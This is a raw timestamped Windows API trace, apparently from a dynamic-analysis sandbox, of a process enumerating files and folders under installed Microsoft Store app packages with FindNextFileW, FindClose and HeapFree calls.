	[0093.345] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_X")) returned 1
	[0093.397] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.397] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.397] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.397] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33dc9bf6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31ed98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0093.398] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.398] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0093.398] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0093.398] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.398] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f47386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.398] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0093.399] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MIBC7F~1.0_N")) returned 1
	[0093.401] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.401] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="default.html", cAlternateFileName="")) returned 1
	[0093.430] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.430] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0093.430] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.430] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.431] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0093.431] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0093.433] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0093.433] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.433] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.434] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0093.434] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI0B0E~1.0_N")) returned 1
	[0094.010] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.010] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf5cafa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf5cafa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf5cafa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0094.010] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.010] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0094.010] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0094.010] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0094.010] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIACEC~1.0_N")) returned 1
	[0094.120] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.120] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0094.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.149] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0094.149] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0094.150] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0094.150] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0B51~1.0_X")) returned 1
	[0094.283] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.283] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x298e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0094.547] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0094.547] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x774b901c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa14080b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0094.562] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0094.563] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df276, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x774df276, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Money_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0094.563] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0094.564] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0094.564] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0094.564] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.566] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0094.566] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.566] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JsonResources", cAlternateFileName="JSONRE~1")) returned 1
	[0094.567] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.567] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x211d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0094.578] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0094.578] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0094.578] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0094.579] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.579] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776cf25e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0094.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb018 | out: hHeap=0x500000) returned 1
	[0094.633] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28dd9f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1
	[0094.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb018 | out: hHeap=0x500000) returned 1
	[0094.633] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28e968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1
	[0094.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb018 | out: hHeap=0x500000) returned 1
	[0094.633] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28f394, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1
	[0094.635] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb018 | out: hHeap=0x500000) returned 1
	[0094.635] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28fe63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0094.635] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb018 | out: hHeap=0x500000) returned 1
	[0094.635] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1
	[0094.635] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb018 | out: hHeap=0x500000) returned 1
	[0094.635] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0
	[0094.635] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0094.635] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0094.635] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28c5b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0094.635] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0094.636] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0094.637] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0094.637] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0094.637] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.637] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0094.684] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0094.684] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0094.684] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
